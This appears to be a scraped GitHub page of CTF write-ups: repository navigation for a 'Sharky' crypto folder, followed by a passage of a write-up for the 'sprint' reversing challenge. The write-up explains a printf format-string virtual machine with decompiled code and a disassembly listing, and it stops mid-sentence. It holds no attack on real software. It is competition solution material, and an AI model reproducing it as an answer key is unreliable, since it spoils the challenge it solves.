style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/TheWinRaRs/Writeups/refs" cache-key="v0:1603635980.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="VGhlV2luUmFScy9Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/TheWinRaRs/Writeups/refs" cache-key="v0:1603635980.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="VGhlV2luUmFScy9Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Writeups</span></span></span><span>/</span><span><span>Google</span></span><span>/</span><span><span>Crypto</span></span><span>/</span>Sharky<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Writeups</span></span></span><span>/</span><span><span>Google</span></span><span>/</span><span><span>Crypto</span></span><span>/</span>Sharky<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/TheWinRaRs/Writeups/tree-commit/840d0aa21dffcae8d9ecddffa6f912a228f15334/Google/Crypto/Sharky" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/TheWinRaRs/Writeups/file-list/master/Google/Crypto/Sharky"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>challenge.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sha256.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
# sprint Solved by tkoa and cts Basically the binary implements a virtual machine by printf format strings ```cint __cdecl main(int argc, const char **argv, const char **envp){ char *pc; // [rsp+40h] [rbp-90h] char *r1; // [rsp+48h] [rbp-88h] __int64 r2; // [rsp+50h] [rbp-80h] __int64 r3; // [rsp+58h] [rbp-78h] __int64 r4; // [rsp+60h] [rbp-70h] __int64 r5; // [rsp+68h] [rbp-68h] __int64 r6; // [rsp+70h] [rbp-60h] __int64 r7; // [rsp+78h] [rbp-58h] __int64 r8_; // [rsp+80h] [rbp-50h] __int64 r9_; // [rsp+88h] [rbp-48h] char *mem; // [rsp+98h] [rbp-38h] mem = (char *)mmap((void *)0x4000000, 0x4000000uLL, 3, 0x22, -1, 0LL); memcpy(mem, fmtStrArr, 0xF134uLL); // map virtual machine's code and data r2 = 0LL; r3 = 0LL; r4 = 0LL; r5 = 0LL; r6 = 0LL; r7 = 0LL; r8_ = 0LL; r9_ = 0LL; pc = mem; r1 = mem; puts("Input password:"); __isoc99_scanf("%255s", mem + 0xE000); while ( pc != mem + 0xFFFE ) sprintf( (char *)0x6000000, pc, &nullstr, 0LL, &pc, 0x6000000LL, *(unsigned __int16 *)r1, r1, &r1, r2, &r2, r3, &r3, r4, &r4, r5, &r5, r6, &r6, r7, &r7, r8_, &r8_, r9_, &r9_); if ( *((_WORD *)mem + 0x7400) ) printf("Flag: %s\n", mem + 0xE800); return 0;}``` fmtStrArr is this huge array of format strings ```.rodata:0000000000002020 M db '%1$00038s%3$hn%1$65498s%1$28672s%9$hn',0.rodata:0000000000002020 ; DATA XREF: main+46↑o.rodata:0000000000002046 a100074s3Hn1654 db '%1$00074s%3$hn%1$65462s%1$*8$s%7$hn',0.rodata:000000000000206A a100108s3Hn1654 db '%1$00108s%3$hn%1$65428s%1$1s%6$hn',0.rodata:000000000000208C a100149s3Hn1653 db '%1$00149s%3$hn%1$65387s%1$*8$s%1$2s%7$hn',0.rodata:00000000000020B5 a100183s3Hn1653 db '%1$00183s%3$hn%1$65353s%1$1s%6$hn',0.rodata:00000000000020D7 a100218s3Hn1653 db '%1$00218s%3$hn%1$65318s%1$2s%11$hn',0.rodata:00000000000020FA a100264s3Hn1652 db '%1$00264s%3$hn%1$65272s%1$*10$s%1$*10$s%17$hn',0.rodata:0000000000002128 a100310s3Hn1652 db '%1$00310s%3$hn%1$65226s%1$28672s%1$*16$s%7$hn',0.rodata:0000000000002156 a100347s3Hn1651 db '%1$00347s%3$hn%1$65189s%1$*5$s%15$hn',0.rodata:000000000000217B a14C100419s2C4S db '%14$c%1$00419s%2$c%4$s%1$65499s%3$hn',0.rodata:00000000000021A0 a100430s3Hn1651 db '%1$00430s%3$hn%1$65106s%1$*10$s%1$*10$s%13$hn',0.rodata:00000000000021CE a100468s3Hn1650 db '%1$00468s%3$hn%1$65068s%1$65519s%7$hn',0.rodata:00000000000021F4 a100505s3Hn1650 db '%1$00505s%3$hn%1$65031s%1$*12$s%6$hn',0.rodata:0000000000002219 a100543s3Hn1649 db '%1$00543s%3$hn%1$64993s%1$65520s%7$hn',0...``` Basically, each format string is 1 "instruction", and if you break down one of them, each instruction is composed of several "microinstructions" For example let's take `%1$00038s%3$hn%1$65498s%1$28672s%9$hn` microinstructions: - `%1$00038s`. %1 is empty string so the point of this is just to add 38 to the internal counter in printf that tracks how many characters have been written so far, which i call the "accumulator". (the accumulator is set to 0 at the beginning of each printf call (macroinstruction), of course)- `%3$hn`. write the chars written counter (accumulator) to arg 3, which is the pc. pc is just pointer to somewhere in the fmtStrArr which is analogous to the code section. so the previous instruction set the accumulator, this instruction selects the nextPc.- `%1$65498s`. add 65498 to accumulator, which is the twos complement of 38, effectively zeroing the accumulator- `%1$28672s`. add 28672 to accumulator- `%9$hn`. write accumulator to pointer arg 9 (&r2) So this instruction basically does `pc=38; r2=28672` We wrote a disassembler that broke down each macroinstruction into its constituent microinstructions, parsed the μinstrs, then symbolically execute and pattern match the μinstr sequences to form a coherent macroinstruction disassembly. This is in `sprint.py`. Here is what that looks like ```(0, 'pc=38; r2=28672;')(38, 'pc=74; r1=r2;')(74, 'pc=108; *r1=1;')(108, 'pc=149; r1=r2+2;')(149, 'pc=183; *r1=1;')(183, 'pc=218; r3=2;')(218, 'pc=264; r6=r3+r3;')(264, 'pc=310; r1=r6+28672;')(310, 'pc=347; r5=*r1;')(347, 'pc=(r5?420:0)+384;')(384, 'pc=430; r4=r3+r3;')(430, 'pc=468; r1=-17;')(468, 'pc=505; *r1=r4;')(505, 'pc=543; r1=-16;')(543, 'pc=580; r5=*r1;')(580, 'pc=(r5?187:0)+617;')(617, 'pc=663; r6=r4+r4;')(663, 'pc=709; r1=r6+28672;')(709, 'pc=743; *r1=1;')(743, 'pc=789; r4=r4+r3;')(789, 'pc=430;')(804, 'pc=847; r3=r3+1;')(847, 'pc=(r3?-666:0)+884;')(884, 'pc=922; r2=-8192;')(922, 'pc=957; r3=0;')(957, 'pc=993; r1=r2;')(993, 'pc=1030; r4=*r1;')(1030, 'pc=(r4?15:0)+1067;')(1067, 'pc=1185;')(1082, 'pc=1129; r3=r3-1;')(1129, 'pc=1170; r2=r2+1;')(1170, 'pc=957;')(1185, 'pc=1232; r6=r3+254;')(1232, 'pc=(r6?15:0)+1269;')(1269, 'pc=1334;')(1284, 'pc=1319; r9=5;')(1319, 'pc=5081;')(1334, 'pc=1368; r2=0;')(1368, 'pc=1403; r3=0;')(1403, 'pc=1441; r1=-3840;')(1441, 'pc=1478; r4=*r1;')(1478, 'pc=1513; r5=1;')(1513, 'pc=1548; r9=0;')(1548, 'pc=1593; r1=r2-8192;')(1593, 'pc=1630; r6=*r1;')(1630, 'pc=(r6?15:0)+1667;')(1667, 'pc=3479;')(1682, 'pc=1723; r2=r2+1;')(1723, 'pc=1770; r7=r6-117;')(1770, 'pc=(r7?54:0)+1807;')(1807, 'pc=1846; r6=-16;')(1846, 'pc=2373;')(1861, 'pc=1908; r7=r6-114;')(1908, 'pc=(r7?50:0)+1945;')(1945, 'pc=1980; r6=1;')(1980, 'pc=2373;')(1995, 'pc=2042; r7=r6-100;')(2042, 'pc=(r7?51:0)+2079;')(2079, 'pc=2115; r6=16;')(2115, 'pc=2373;')(2130, 'pc=2177; r7=r6-108;')(2177, 'pc=(r7?54:0)+2214;')(2214, 'pc=2253; r6=-1;')(2253, 'pc=2373;')(2268, 'pc=2303; r5=0;')(2303, 'pc=2338; r6=0;')(2338, 'pc=2373; r9=1;')(2373, 'pc=2419; r4=r4+r6;')(2419, 'pc=2457; r1=-17;')(2457, 'pc=2494; *r1=r4;')(2494, 'pc=2532; r1=-16;')(2532, 'pc=2569; r6=*r1;')(2569, 'pc=(r6?823:0)+2606;')(2606, 'pc=2652; r1=r4-4096;')(2652, 'pc=2689; r6=*r1;')(2689, 'pc=2727; r1=-17;')(2727, 'pc=2764; *r1=r6;')(2764, 'pc=2802; r1=-16;')(2802, 'pc=2836; *r1=0;')(2836, 'pc=2874; r1=-17;')(2874, 'pc=2911; r6=*r1;')(2911, 'pc=2957; r6=r6+r6;')(2957, 'pc=3003; r1=r6+28672;')(3003, 'pc=3040; r6=*r1;')(3040, 'pc=(r6?267:0)+3077;')(3077, 'pc=3120; r6=r3+1;')(3120, 'pc=3166; r1=r6-3838;')(3166, 'pc=3203; r6=*r1;')(3203, 'pc=3249; r6=r6+r4;')(3249, 'pc=(r6?43:0)+3286;')(3286, 'pc=3329; r3=r3+1;')(3329, 'pc=1548;')(3344, 'pc=3379; r5=0;')(3379, 'pc=3414; r9=2;')(3414, 'pc=1548;')(3429, 'pc=3464; r9=4;')(3464, 'halt;')(3479, 'pc=(r5?15:0)+3516;')(3516, 'pc=5081;')(3531, 'pc=3578; r6=r3-9;')(3578, 'pc=(r6?15:0)+3615;')(3615, 'pc=3680;')(3630, 'pc=3665; r9=3;')(3665, 'pc=5081;')(3680, 'pc=3714; r2=0;')(3714, 'pc=3749; r3=0;')(3749, 'pc=3795; r4=r2-39;')(3795, 'pc=(r4?15:0)+3832;')(3832, 'pc=4987;')(3847, 'pc=3882; r5=4;')(3882, 'pc=3917; r4=0;')(3917, 'pc=3963; r4=r4+r4;')(3963, 'pc=4009; r4=r4+r4;')(4009, 'pc=4055; r1=r3-8192;')(4055, 'pc=4092; r6=*r1;')(4092, 'pc=4139; r7=r6-117;')(4139, 'pc=(r7?15:0)+4176;')(4176, 'pc=4632;')(4191, 'pc=4238; r7=r6-114;')(4238, 'pc=(r7?58:0)+4275;')(4275, 'pc=4318; r4=r4+1;')(4318, 'pc=4632;')(4333, 'pc=4380; r7=r6-100;')(4380, 'pc=(r7?58:0)+4417;')(4417, 'pc=4460; r4=r4+2;')(4460, 'pc=4632;')(4475, 'pc=4522; r7=r6-108;')(4522, 'pc=(r7?58:0)+4559;')(4559, 'pc=4602; r4=r4+3;')(4602, 'pc=4632;')(4617, 'pc=5081;')(4632, 'pc=4675; r3=r3+1;')(4675, 'pc=4722; r5=r5-1;')(4722, 'pc=(r5?-842:0)+4759;')(4759, 'pc=4804; r1=r2-3828;')(4804, 'pc=4841; r5=*r1;')(4841, 'pc=4886; r1=r2-6144;')(4886, 'pc=4931; *r1=r5+r4;')(4931, 'pc=4972; r2=r2+1;')(4972, 'pc=3749;')(4987, 'pc=5032; r1=r2-6144;')(5032, 'pc=5066; *r1=0;')(5066, 'halt;')(5081, 'pc=5119; r1=-6144;')(5119, 'pc=5153; *r1=0;')(5153, 'halt;')``` At this point it is totally feasible to reverse the VM but I am a stupid lazy idiot with no attention span. So instead i write an insanely quick and dirty transpiler (see `sprint2.py`)to x86 so i can put it inside IDA and press F5 LMAO. it turns each instruction into something like this ```loc_108:xor eax, eax ; clear accumulatoradd rax, r8 ; acc += r8add rax, 2 ; acc += 2mov rdi, rax ; r1 = accmov rbx, 108 ; debugging comment label, this code was transpiled from format string at pc=108nop ; nop so its 